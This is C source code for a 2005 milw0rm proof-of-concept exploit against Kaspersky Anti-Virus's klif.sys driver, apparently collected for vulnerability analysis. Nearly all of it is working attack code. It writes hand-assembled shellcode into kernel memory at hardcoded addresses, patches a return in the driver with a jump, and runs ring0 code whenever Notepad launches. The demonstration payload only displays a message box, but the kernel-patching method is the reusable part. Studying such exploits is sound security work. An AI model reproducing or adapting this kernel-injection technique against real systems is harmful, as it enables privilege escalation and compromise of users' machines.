lilbool/vuln-code-analysis
0
1/* Added NO_STRICT to 1 on line 2 /str0ke ! milw0rm.com */
2#define NO_STRICT 1
3#include <windows.h>
4
5#undef STRICT
6
7PUCHAR pCodeBase=(PUCHAR)0xBE9372C0;
8
9PDWORD pJmpAddress=(PDWORD)0xBE9372B0;
10
11PUCHAR pKAVRets[]={(PUCHAR)0xBE935087,(PUCHAR)0xBE935046};
12
13PUCHAR pKAVRet;
14
15
16unsigned char code[]={0x68,0x00,0x02,0x00,0x00, //push 0x200
17 0x68,0x00,0x80,0x93,0xBE, //push <buffer address> - 0xBE938000
18 0x6A,0x00, //push 0
19 0xB8,0x00,0x00,0x00,0x00, //mov eax,<GetModuleFileNameA> -> +13
20 0xFF,0xD0, //call eax
21 0x68,0x00,0x80,0x93,0xBE, //push <buffer address>
22 0x68,0x00,0x82,0x93,0xBE, //push <address of the notepad path>- 0xBE938200
23 0xB8,0x00,0x00,0x00,0x00, //mov eax,<lstrcmpiA> -> +30
24 0xFF,0xD0, //call eax
25 0x85,0xC0, //test eax,eax
26 0x74,0x03, //je +03
27 0xC2,0x04,0x00, //retn 4
28 0x6A,0x00, //push 0
29 0x68,0x00,0x84,0x93,0xBE, //push <address of the message string>- 0xBE938400
30 0x68,0x00,0x84,0x93,0xBE, //push <address of the message string>- 0xBE938400
31 0x6A,0x00, //push 0
32 0xB8,0x00,0x00,0x00,0x00, //mov eax,<MessageBoxA> -> +58
33 0xFF,0xD0, //call eax
34 0xC2,0x04,0x00 //retn 4
35 };
36
37unsigned char jmp_code[]={0xFF,0x25,0xB0,0x72,0x93,0xBE}; //jmp dword prt [0xBE9372B0]
38
39//////////////////////////////////////////////////////////////
40
41BOOLEAN LoadExploitIntoKernelMemory(void){
42
43
44
45//Get function's addresses
46
47 HANDLE hKernel=GetModuleHandle("KERNEL32.DLL");
48 HANDLE hUser=GetModuleHandle("USER32.DLL");
49
50 FARPROC pGetModuleFileNameA=GetProcAddress(hKernel,"GetModuleFileNameA");
51 FARPROC plstrcmpiA=GetProcAddress(hKernel,"lstrcmpiA");
52
53 FARPROC pMessageBoxA=GetProcAddress(hUser,"MessageBoxA");
54
55 *(DWORD*)(code+13)=(DWORD)pGetModuleFileNameA;
56 *(DWORD*)(code+30)=(DWORD)plstrcmpiA;
57 *(DWORD*)(code+58)=(DWORD)pMessageBoxA;
58
59//Prepare our data into ring0-zone.
60
61 PCHAR pNotepadName=(PCHAR)0xBE938200;
62
63 char temp_buffer[MAX_PATH];
64 char *s;
65
66 SearchPath(NULL,"NOTEPAD",".EXE",sizeof(temp_buffer),temp_buffer,&s);
67
68 lstrcpy(pNotepadName,temp_buffer);
69
70 PCHAR pMessage=(PCHAR)0xBE938400;
71
72 lstrcpy(pMessage,"Notepad is running!!! KAV is vulnerable!!!");
73
74 memmove(pCodeBase,code,sizeof(code));
75
76 *pJmpAddress=(DWORD)pCodeBase;
77
78 memmove(pKAVRet,jmp_code,sizeof(jmp_code));
79
80 return TRUE;
81}
82
83///////////////////////////////////////////////////////////////
84
85void UnloadExploitFromKernelMemory(){
86
87 UCHAR retn_4[]={0xC2,0x04,0x00};
88
89 memmove(pKAVRet,retn_4,sizeof(retn_4));
90
91}
92
93/////////////////////////////////////////////////////////////////
94
95PUCHAR GetKAVRetAddress(void){
96
97//Check the retn 4 in the KAV 0xBE9334E1 function end
98//Also, we check the KAV klif.sys existance.
99
100 UCHAR retn_4[]={0xC2,0x04,0x00};
101
102 __try{
103
104 for(DWORD i=0;i<sizeof(pKAVRets)/sizeof(pKAVRets[0]);i++){
105
106 if(memcmp(pKAVRets[i],retn_4,sizeof(retn_4))==0)
107 return pKAVRets[i];
108
109 }
110
111 }__except(EXCEPTION_EXECUTE_HANDLER){MessageBox(NULL,"KAV is not installed",NULL,0);return NULL;}
112
113
114 MessageBox(NULL,"Wrong KAV version. You need 5.0.227, 5.0.228 or 5.0.335 versions of KAV",NULL,0);
115 return NULL;
116}
117
118/////////////////////////////////////////////////////////////////
119
120void main(void){
121
122 pKAVRet=GetKAVRetAddress();
123
124 if(NULL==pKAVRet)
125 return;
126
127
128 if(!LoadExploitIntoKernelMemory())
129 return;
130
131 char temp_buffer[MAX_PATH];
132 char *s;
133
134 SearchPath(NULL,"NOTEPAD",".EXE",sizeof(temp_buffer),temp_buffer,&s);
135
136 PROCESS_INFORMATION pi;
137
138 STARTUPINFO si={0};
139 si.cb=sizeof(si);
140
141 CreateProcess(NULL,temp_buffer,NULL,NULL,FALSE,
142 0,NULL,NULL,&si,&pi);
143
144 WaitForSingleObject(pi.hProcess,INFINITE);
145
146 MessageBox(NULL,"Now you may start your own Notepad instance to check this exploit!","KAV_EXPLOITER",0);
147
148 MessageBox(NULL,"Close this window to stop exploitation","KAV_EXPLOITER",0);
149
150 UnloadExploitFromKernelMemory();
151}
152
153// milw0rm.com [2005-06-07]